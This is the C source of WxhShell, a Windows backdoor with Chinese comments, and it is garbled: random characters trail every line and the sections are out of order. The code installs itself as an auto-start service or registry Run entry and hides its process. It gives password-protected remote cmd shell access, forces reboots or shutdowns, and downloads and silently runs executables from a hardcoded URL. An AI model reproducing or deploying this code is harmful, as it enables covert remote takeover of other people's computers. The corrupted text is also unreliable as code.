  // 关机 ?V_Qa0k  
  case 'd': { :)nn/[>fC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zO>N3pMv  
    if(Boot(SHUTDOWN)) eafy5vN[zX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &/ lJ7=Nq  
    else { ]?F05!$*  
    closesocket(wsh); qx5X2@-;:  
    ExitThread(0); pj,.RcH@o  
    } r;w_B%9  
    break; |7Z,z0 ?V  
    } >vg!<%]W]  
  // 获取shell 9/w'4bd  
  case 's': { YgaJ*%\  
    CmdShell(wsh); V"VWHAu*.w  
    closesocket(wsh); 3OHP-oa.  
    ExitThread(0); 9frx60  
    break; ' U(v  
  } )61CrQiY  
  // 退出 ~4Is   
  case 'x': { S[UHx}.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {Ny\9r  
    CloseIt(wsh); &)Z8Qu  
    break;  >p!d(J?  
    } (H9%a-3  
  // 离开 xiU-}H'o  
  case 'q': { Kq`Luf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~%^af"_  
    closesocket(wsh); UQ>GAzh  
    WSACleanup(); *MkhRLw\,  
    exit(1); 6__@?XzJ  
    break;  L}AR{  
        } q 9qmz[  
  } <C6/R]x#  
  } lg;Y}?P  
`<t{NJ&f  
  // 提示信息 e%G- +6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~0?p @8  
} S$]:3  
  } L4sN)EI  
h_]3L/  
  return; 9G_=)8sOV  
} `. %;|"xR  
~PvW+UMLk  
// shell模块句柄 FStE/2?  
int CmdShell(SOCKET sock) ?OKm~ Ek  
{ 7V0:^Jov  
STARTUPINFO si; MV$>|^'em  
ZeroMemory(&si,sizeof(si)); #`a-b<uz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UVu"meZX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #`GW7(M  
PROCESS_INFORMATION ProcessInfo; G"MpA[a_  
char cmdline[]="cmd"; zx(j6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kggf!\MR8  
  return 0; 1:7>Em<s  
} nA F@47Wo  
v\-"NHl  
// 自身启动模式 sNvT0  
int StartFromService(void) '*>LZo4  
{ t@.gmUUA  
typedef struct 7OtQK`P"A  
{ QC<( rx  
  DWORD ExitStatus; h9+ylHW_cp  
  DWORD PebBaseAddress; G !1- 20  
  DWORD AffinityMask; 5?;'26iC  
  DWORD BasePriority; +nuv?QB/  
  ULONG UniqueProcessId; 6WfyP@ f  
  ULONG InheritedFromUniqueProcessId; dGIu0\J\$  
}   PROCESS_BASIC_INFORMATION; <zZAVGb4I  
/N%f78 Z  
PROCNTQSIP NtQueryInformationProcess; uc Z(D|a   
? z=>n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @+1E|4L1vf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .ET;wK  
JIb<>X,  
  HANDLE             hProcess; Pms3X  
  PROCESS_BASIC_INFORMATION pbi; }C*o;'o5G  
K- }k-S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `r*6P^P  
  if(NULL == hInst ) return 0; ? |8&!F  
!+ uMH!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'dWJ#9C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); phXVuQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZX'{o9+w5  
h| UT/:  
  if (!NtQueryInformationProcess) return 0; oTI*mGR1Z  
TP{a*ke^5,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sxThz7#i)  
  if(!hProcess) return 0; |~ \K:[T&  
+crAkb}i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `zzX2R Je  
K+v 250J$-  
  CloseHandle(hProcess); x(]s#D!)  
~;eWQwD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iLmU|jdE  
if(hProcess==NULL) return 0; ,Qyz2- w  
e_1mO 5z  
HMODULE hMod; 1 9 k$)m  
char procName[255]; n[4Nu`E9  
unsigned long cbNeeded; tB_V%qH  
hsqUiB tc6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W$'pUhq\H  
/kw4":{]  
  CloseHandle(hProcess); yN>"r2   
MT6kJDyLu  
if(strstr(procName,"services")) return 1; // 以服务启动 ,o9)ohw  
#eUfwd6.Y  
  return 0; // 注册表启动 ~5!ukGK_  
} Vj2GK"$v  
r`;C9#jZ  
// 主模块 Z$ftG7;P0  
int StartWxhshell(LPSTR lpCmdLine) g~B@=R  
{ +W;B8^imG  
  SOCKET wsl; `n5c|`6  
BOOL val=TRUE; I.8|kscM  
  int port=0; awkVjyqX  
  struct sockaddr_in door; BB%(!O4Dl  
rM?D7a{q  
  if(wscfg.ws_autoins) Install(); JG( <  
w4x8 Sre  
port=atoi(lpCmdLine); mKsj7  
Ki=7nKs  
if(port<=0) port=wscfg.ws_port; q#p)E=$  
`%ENGB|  
  WSADATA data; O"#`i{^?2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %<M<'jxSca  
u^]yz&9V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E`?BaCrG~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cEqh|Q  
  door.sin_family = AF_INET; P);Xke  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )K?GAj]Pq  
  door.sin_port = htons(port); ! 4oIx`  
Qy70/on9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VuPET  
closesocket(wsl); dt \O7Rjw8  
return 1; <oXsn.'\  
} =d5!O~}r>  
W^Rb~b^?  
  if(listen(wsl,2) == INVALID_SOCKET) { J.nVEqLZ  
closesocket(wsl); xlwsZm{V  
return 1; /7lkbL  
} iit`'}+U  
  Wxhshell(wsl); N)!v-z,k  
  WSACleanup(); [e}]K:  
ky~x4_y5  
return 0; &(rd{j/*  
Dq?2mXOqD  
} SRD&Uf0M  
Rke:*(p*n;  
// 以NT服务方式启动 ^=W&p%Y(!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TdE_\gEo/R  
{ f.f4<_v'h  
DWORD   status = 0; 5o3_x ~e  
  DWORD   specificError = 0xfffffff; F4&N;Zm2  
&.z/dFmG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *C:+N>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A;|DQR()  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L_.}z)S[\  
  serviceStatus.dwWin32ExitCode     = 0; u!-eP7;7  
  serviceStatus.dwServiceSpecificExitCode = 0; 0*AlLwO  
  serviceStatus.dwCheckPoint       = 0; ua[\npz5  
  serviceStatus.dwWaitHint       = 0; @\h(s#sn  
Ue8D:C M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E^YbyJ=1  
  if (hServiceStatusHandle==0) return; ;VuB8cnL`  
os.x|R]_  
status = GetLastError(); C C09:L?  
  if (status!=NO_ERROR) eLTNnz  
{ YiJu48J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q&#:M>!|  
    serviceStatus.dwCheckPoint       = 0; sy`s$E d!  
    serviceStatus.dwWaitHint       = 0; d5=xOEv; :  
    serviceStatus.dwWin32ExitCode     = status; 6wd]X-G++  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q|1bF!#(1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &7W6IM   
    return; "n e'iJf_(  
  } G 6, 8Xwk  
q kKABow  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \l2 s^7G_  
  serviceStatus.dwCheckPoint       = 0; oTfbx+i/G  
  serviceStatus.dwWaitHint       = 0; ?qbp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^~aSrREo  
} |pgkl`  
j<KC$[Kt  
// 处理NT服务事件,比如:启动、停止 I;v`o{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OZ" <V^"`  
{ L%0lX$2&\  
switch(fdwControl) OKqpc;y:D  
{ 0?7uqS#L  
case SERVICE_CONTROL_STOP: Vj]kJ,j\y  
  serviceStatus.dwWin32ExitCode = 0; sZH7 EK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~"mZ0 E  
  serviceStatus.dwCheckPoint   = 0; {_~G+rqY  
  serviceStatus.dwWaitHint     = 0; GWVdNYpmr  
  {  d!t@A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (FaT{W{  
  } nKO&ffb'<  
  return; } 8P}L@q  
case SERVICE_CONTROL_PAUSE: #TgJ d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +B m+Pj>  
  break; @ 7?_Yw  
case SERVICE_CONTROL_CONTINUE: )1vojp 4Za  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o W[,EW+u  
  break; w!}1oy  
case SERVICE_CONTROL_INTERROGATE: 6a?y $+pr  
  break; vVW=1(QWI#  
}; l(5-Cr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ek!;u>  
} gJ&!w8v.  
,_$"6  
// 标准应用程序主函数 tTt3D]h(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]#$kA9  
{ bIArAS9%  
]~^/w}(K  
// 获取操作系统版本 8UIL_nPO  
OsIsNt=GetOsVer(); =5ih,>>g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4I-p/&Q  
W~%~^2g ;k  
  // 从命令行安装 5u46Vl{  
  if(strpbrk(lpCmdLine,"iI")) Install(); qX(%Wn;n  
o x^lI  
  // 下载执行文件 L0kNt &di  
if(wscfg.ws_downexe) { NXBOo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0 MIMs#  
  WinExec(wscfg.ws_filenam,SW_HIDE); gDub+^ye>/  
} Hl;p>>n  
BFO Fes`>~  
if(!OsIsNt) { Oez}C,0  
// 如果时win9x,隐藏进程并且设置为注册表启动  J31M:<  
HideProc(); tA-B3 ]  
StartWxhshell(lpCmdLine); #Qr4Ke$g[l  
} JP4Moq~r   
else XijLS7Aw|  
  if(StartFromService()) f~FehN7  
  // 以服务方式启动 U!/nD~A  
  StartServiceCtrlDispatcher(DispatchTable); b8.%?_?  
else FIjET1{  
  // 普通方式启动 #mhD; .Wg  
  StartWxhshell(lpCmdLine); Qs9U&*L  
rk/ c  
return 0; EYxRw  
} dz|*n'd  
pq3  A%|  
wzPw; xuG  
pRvs;klf  
=========================================== ;8i L,^.A  
~ n^G<iXLp  
0f%:OU5Y  
R2aK5~   
Sx)Il~ x  
{z/^X<T  
" 9.zQ<k2  
B)]{]z0+`  
#include <stdio.h> 4nH91Z9=  
#include <string.h> *Qx|5L!_  
#include <windows.h> 9ET+k(wI@  
#include <winsock2.h> " ^baiN@ac  
#include <winsvc.h> i=UTc1  
#include <urlmon.h> 7f%Qc %B  
NNw d;AC  
#pragma comment (lib, "Ws2_32.lib") P\4tK<P|  
#pragma comment (lib, "urlmon.lib") +n[wkgFd  
I#X2 UQzP  
#define MAX_USER   100 // 最大客户端连接数 U%DF!~n  
#define BUF_SOCK   200 // sock buffer }t2pIkF;  
#define KEY_BUFF   255 // 输入 buffer IZ0$=aB7  
En9]x"_  
#define REBOOT     0   // 重启 J7ekIQgR  
#define SHUTDOWN   1   // 关机 SMO%sZ]  
2 dD<]  
#define DEF_PORT   5000 // 监听端口 0?us]lx  
{[5L96RH%  
#define REG_LEN     16   // 注册表键长度 SP*JleQN  
#define SVC_LEN     80   // NT服务名长度 'ZH<g8:=@  
(kQ.tsl  
// 从dll定义API (+LR u1z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qH Ga  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^:!(jiH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @xm~T|[7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {!1n5a3" 1  
g!p_c  
// wxhshell配置信息 G;HlII9x[  
struct WSCFG { $SzCVWS  
  int ws_port;         // 监听端口 A>t!/_"  
  char ws_passstr[REG_LEN]; // 口令 zI&4k..4  
  int ws_autoins;       // 安装标记, 1=yes 0=no zQ5jx5B":  
  char ws_regname[REG_LEN]; // 注册表键名 C^ " Hj  
  char ws_svcname[REG_LEN]; // 服务名 O)xEF~DaD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6IY}SI0N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6L2*gO:r?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mvA xx`jc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *:T>~ilF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s`iNbW="  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <W51oO  
^q&wITGI  
}; )fMX!#KP  
@=0r3  
// default Wxhshell configuration sRyw\v-=P  
struct WSCFG wscfg={DEF_PORT, 5uV"g5?w  
    "xuhuanlingzhe", U=i8>6V  
    1, R;E"Qdt  
    "Wxhshell", ]X: rby$  
    "Wxhshell", R_Gq8t$  
            "WxhShell Service", !+A"Lej  
    "Wrsky Windows CmdShell Service", ^?X ^+  
    "Please Input Your Password: ", j t`p<gI  
  1, {#*?S>DA  
  "http://www.wrsky.com/wxhshell.exe", "26B4*  
  "Wxhshell.exe" '^ e/F)0  
    }; sL7`=a.&T  
BY4  R@)  
// 消息定义模块 ]tQDk4&i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  6I cM:x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A-7wkZ.H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *%N7QyO`I  
char *msg_ws_ext="\n\rExit."; o;VkoYV  
char *msg_ws_end="\n\rQuit."; *2Vp4  
char *msg_ws_boot="\n\rReboot..."; +/3 Z  
char *msg_ws_poff="\n\rShutdown..."; Kcw1uLb  
char *msg_ws_down="\n\rSave to "; ;V"yMWjc  
T]nR=uK6LL  
char *msg_ws_err="\n\rErr!"; CS;W)F  
char *msg_ws_ok="\n\rOK!"; K_&c5(-(_  
A:.IBctsd  
char ExeFile[MAX_PATH]; YoF\ MT]W  
int nUser = 0; <Sprp]n 7  
HANDLE handles[MAX_USER]; zK>'tFU  
int OsIsNt; \Qi#'c$5+a  
[  t  
SERVICE_STATUS       serviceStatus; => uVp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~t${=o430  
}r~v,KDb  
// 函数声明 }+dM1O  
int Install(void); O& 3r*vd  
int Uninstall(void); A)RI:?+  
int DownloadFile(char *sURL, SOCKET wsh); X&9^&U=e  
int Boot(int flag); b>bgUDq  
void HideProc(void); uq|vNLW26  
int GetOsVer(void); W. J:.|kt  
int Wxhshell(SOCKET wsl); %89" A'g  
void TalkWithClient(void *cs); P )t]bS  
int CmdShell(SOCKET sock); n~,]KdU]  
int StartFromService(void); 8sR  
int StartWxhshell(LPSTR lpCmdLine); EFRZ% Y  
B;z>Dd,Y_x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #0?"J)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8g[ (nxI~  
vNC$f(cQ  
// 数据结构和表定义 =wIdC3Ph  
SERVICE_TABLE_ENTRY DispatchTable[] = yp[<9%Fi  
{ dThn?  
{wscfg.ws_svcname, NTServiceMain}, bIb6yVnHi  
{NULL, NULL} u+mjguIv  
}; Q$?7)yyu+  
*#Lsjk~_-  
// 自我安装 G>=9gSLM  
int Install(void) s<Ex"+  
{ Ms:KM{T0  
  char svExeFile[MAX_PATH]; 5w,lw  
  HKEY key; *or2  
  strcpy(svExeFile,ExeFile); NIGB[2V(  
L876$  
// 如果是win9x系统,修改注册表设为自启动 $ ] W[y=  
if(!OsIsNt) { LsJs Q h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yN9$gfJC^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <OR.q  
  RegCloseKey(key); `W"a! ,s2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K2x6R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d,Cz-.'sOf  
  RegCloseKey(key); 0<]$v"`I  
  return 0; 7m|`tjQ1  
    } F@=e2e 4  
  } }[>RxHd  
} io9y; S"+  
else { VM-qVd-  
_=|nOj39  
// 如果是NT以上系统,安装为系统服务 s6uF5]M;2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )|U_Z"0H^  
if (schSCManager!=0) c y=I0  
{ 7oZ@<QP'  
  SC_HANDLE schService = CreateService Mvy6"Q:  
  ( LN@E\wRw{r  
  schSCManager, aW0u8Dz  
  wscfg.ws_svcname, -Q<z1vz  
  wscfg.ws_svcdisp, t(J![wB}  
  SERVICE_ALL_ACCESS, 0Y5LDP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v%H"_T  
  SERVICE_AUTO_START, *F\T}k7  
  SERVICE_ERROR_NORMAL, mJ0}DJiX$  
  svExeFile, =@xN(] (  
  NULL, J 6(~>g  
  NULL, l5FuMk-  
  NULL, Y%78>-2 L  
  NULL, y 2z{rd  
  NULL qpb/g6g  
  ); cm@jt\D  
  if (schService!=0) i{TIm}_\  
  { " Sc5qG  
  CloseServiceHandle(schService); Y3vX)D}  
  CloseServiceHandle(schSCManager); 1YJ_1VJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GXT]K>LA  
  strcat(svExeFile,wscfg.ws_svcname); |. J,8~x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |7svA<<[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BCBEX&0hk{  
  RegCloseKey(key); X|X4L(i  
  return 0; +dqk 6RE  
    } OZ(Dpx(Q  
  } a$C2}  
  CloseServiceHandle(schSCManager); Ho|o,XvLv  
} hMNJ'i}  
} <\ y!3;  
k0H?9Z4k5  
return 1; NFB *1_m  
} ;M}itM  
W*YxBn4  
// 自我卸载 O!:QJ ^8 d  
int Uninstall(void) &}vR(y*#c  
{ r0)JUc}Fyq  
  HKEY key; ! G*&4V3Mg  
1S+;ZMk  
if(!OsIsNt) { 7)B&(2D&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x1t{SQ-C  
  RegDeleteValue(key,wscfg.ws_regname); ctp?y  
  RegCloseKey(key); {/-y>sm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_!bT!8  
  RegDeleteValue(key,wscfg.ws_regname); rei 8LW  
  RegCloseKey(key); By2s']bw  
  return 0; PXV)NC  
  } ETM2p1 ru0  
} K@q&HV"'.  
} qOW#Q:T  
else { bsB},pc  
_~tm7o+js  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FXS^^p P  
if (schSCManager!=0) cb +l"FI7  
{ uCw>}3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RG&I\DTyt  
  if (schService!=0) }-d)ms!  
  { `&7mHa61  
  if(DeleteService(schService)!=0) { #":: ' ?,  
  CloseServiceHandle(schService); fi=0{  
  CloseServiceHandle(schSCManager); dw~[9oh  
  return 0; ^uia`sOP4  
  } a*D,*C5}  
  CloseServiceHandle(schService); v9u<F6  
  } |)9thIQF  
  CloseServiceHandle(schSCManager); !6M Bxg>  
} ar Q)%W  
} %Nj #0YF]  
kB8 Mi  
return 1; N*Yy&[  
} 2R~6<W+&:>  
ndr)3tuYu  
// 从指定url下载文件 d]8_l1O  
int DownloadFile(char *sURL, SOCKET wsh) Q8;#_HE  
{ (/&;jV2DD[  
  HRESULT hr; ^ pj>9%  
char seps[]= "/"; qB:AkMd&  
char *token; tmp6hB  
char *file; .hKhrcQp  
char myURL[MAX_PATH]; a.?v*U@z@#  
char myFILE[MAX_PATH]; ~F;CE"3A  
$`pd|K`  
strcpy(myURL,sURL); =ai2z2z  
  token=strtok(myURL,seps); N&"QKd l  
  while(token!=NULL) W@^J6sH  
  { O16r!6=-n  
    file=token; flP>@i:e6  
  token=strtok(NULL,seps); zDB" r  
  } dXl]Pe|v  
|k6Ox*  
GetCurrentDirectory(MAX_PATH,myFILE); |=O1Hn  
strcat(myFILE, "\\"); R"Kz!NTB  
strcat(myFILE, file); L x.jrF|&  
  send(wsh,myFILE,strlen(myFILE),0); '99@=3AB:`  
send(wsh,"...",3,0); GzdRG^vN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fYB*6Xb,w  
  if(hr==S_OK) .$Y? W<  
return 0; qbb6,DL7J  
else 34z+INkX  
return 1; W .U+.hR  
T^]7R4 Fg  
} /YFa ;2 W  
m2(E>raV6  
// 系统电源模块 T6uMFD4 |  
int Boot(int flag) !{(ls<  
{ `a >?UUT4  
  HANDLE hToken; qp>N^)>  
  TOKEN_PRIVILEGES tkp; 4d`+CD C  
+"8}R~`!  
  if(OsIsNt) { yAG+] r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d`Oe_<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xIL#h@dz  
    tkp.PrivilegeCount = 1; 0Gsu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i6Qb[\;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (9]6bd  
if(flag==REBOOT) { zT7"VbP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (~&w-w3  
  return 0; BqB |Fo  
} :H?f*aw  
else { \lEkfcc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zb:kanb-  
  return 0; W pN.]x  
} & fu z2xv  
  } 9 Kbw GmSU  
  else { k][h9'  
if(flag==REBOOT) { 2Lfah?Tx~C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fQU{SjG  
  return 0; tuxRVV8l  
} NEV p8)w  
else { tuLH}tkNY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u1^\MVO8  
  return 0; ]JdJe6`Mc  
} ]g,lRG  
} J\=a gQ  
Pu;yEh  
return 1; L^FcS\r;  
} t'g^W  
;iU%Kt  
// win9x进程隐藏模块 JoJukoy}F  
void HideProc(void) DnFjEP^  
{ XA{F:%  
m5*[t7@%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VRbQdiZ{  
  if ( hKernel != NULL ) [b/o$zR  
  { Yw)Fbt^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -bS)=L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \uM? S  
    FreeLibrary(hKernel); fu R2S70d  
  } I]R9HGJNlJ  
}pawIf4V  
return; T SjI z5  
} g jxS  
qTM%G-  
// 获取操作系统版本 ',)7GY/n~  
int GetOsVer(void) fF;h V  
{ d1]i,C~Y  
  OSVERSIONINFO winfo; H0>yi[2f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P :k+ y$  
  GetVersionEx(&winfo); <a|@t@R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8lP6-VA  
  return 1; L:@fP~Erh  
  else }y6q\#G  
  return 0; G1d(,4Xp  
} bL1m'^r  
|cd-!iJX-  
// 客户端句柄模块 F!yV8XQ  
int Wxhshell(SOCKET wsl) A@$kLex  
{ ~<)vKk  
  SOCKET wsh; #xT!E:W '  
  struct sockaddr_in client; }x:f%Z5h  
  DWORD myID; =&vFVIhWcf  
q \O Ou  
  while(nUser<MAX_USER) !SxG(*u  
{ & mt)d  
  int nSize=sizeof(client); vt1lR5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !{Z~<Ky  
  if(wsh==INVALID_SOCKET) return 1; LFf`K)q  
QyGnDomQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Vu5p#,O<M  
if(handles[nUser]==0) RMP9y$~3pU  
  closesocket(wsh); (9C<K<  
else Kat&U19YH  
  nUser++; 7L3ik;>  
  } ;Ii1B{W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _#C()Ro*P  
314=1JbL  
  return 0; KzO,*M  
} fU+Pn@'  
uQ/h'v  
// 关闭 socket l]6% lud8_  
void CloseIt(SOCKET wsh) _}gtcyx  
{ v }\,o%t^  
closesocket(wsh); *%gF2@=r8F  
nUser--; )rm4cW_  
ExitThread(0); Or0O/\D)  
} M.[rLJZ4  
EWj gI_-  
// 客户端请求句柄 "%6/a7S  
void TalkWithClient(void *cs) V/%~F6e  
{ V diJ>d[  
#FH[hRo=6  
  SOCKET wsh=(SOCKET)cs; "r'ozf2 \  
  char pwd[SVC_LEN]; |E)aT#$f'  
  char cmd[KEY_BUFF]; z#6?8y2-  
char chr[1]; ,d_Gn!  
int i,j; . iwZ*b{  
& ,hr8  
  while (nUser < MAX_USER) { YY5!_k  
y~ rX l  
if(wscfg.ws_passstr) { DAO]uh{6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %)(Cp-b!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3n;K!L%zMT  
  //ZeroMemory(pwd,KEY_BUFF); K8I$]M   
      i=0; v]VWDT `  
  while(i<SVC_LEN) { 1iBP,:>*  
jZ*WN|FK?  
  // 设置超时 rS8 w\`_  
  fd_set FdRead; ~O6\6$3b5E  
  struct timeval TimeOut; nH-V{=**  
  FD_ZERO(&FdRead); j\&pej  
  FD_SET(wsh,&FdRead); # Su~`]  
  TimeOut.tv_sec=8; Zjh2{ :  
  TimeOut.tv_usec=0; [wnDHy6W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,5Vt]#F5@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WyhhCR=;  
PBjmGwg7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s^8u&y)3  
  pwd=chr[0]; s Be7"^  
  if(chr[0]==0xd || chr[0]==0xa) { $ &UZy|9  
  pwd=0; z@ 35NZn  
  break; MXtkP1A `  
  } 3'`dFY,  
  i++; X[yNFW}S2W  
    } na+d;h*~y  
9i q""  
  // 如果是非法用户,关闭 socket #]Y>KX2HG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wq!iV |  
} q(M:QWA q  
<%?#AVU[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o4y']JSN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \}0-^(9zd  
f58?5(Dc|  
while(1) { 2{|$T2?e  
{Qu"%h.Al  
  ZeroMemory(cmd,KEY_BUFF); 2}U!:bn(  
KzU lTl0  
      // 自动支持客户端 telnet标准   muON> ^MbC  
  j=0; <@v ]H@ E  
  while(j<KEY_BUFF) { f. }c7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C#0Qd%  
  cmd[j]=chr[0]; k?GD/$1t  
  if(chr[0]==0xa || chr[0]==0xd) { iA }vKQ  
  cmd[j]=0; 5s{j = .O  
  break; ;]2s,za)qs  
  } Y"g.IK`V  
  j++; ,F6=b/eZ  
    } pc]J[ S?P  
sBX-X$*N  
  // 下载文件 ^Q<mV*~  
  if(strstr(cmd,"http://")) { Wi. 5Y{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t<iEj"5  
  if(DownloadFile(cmd,wsh)) X;F8_+Np  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KJn!Ap  
  else 08bJCH  
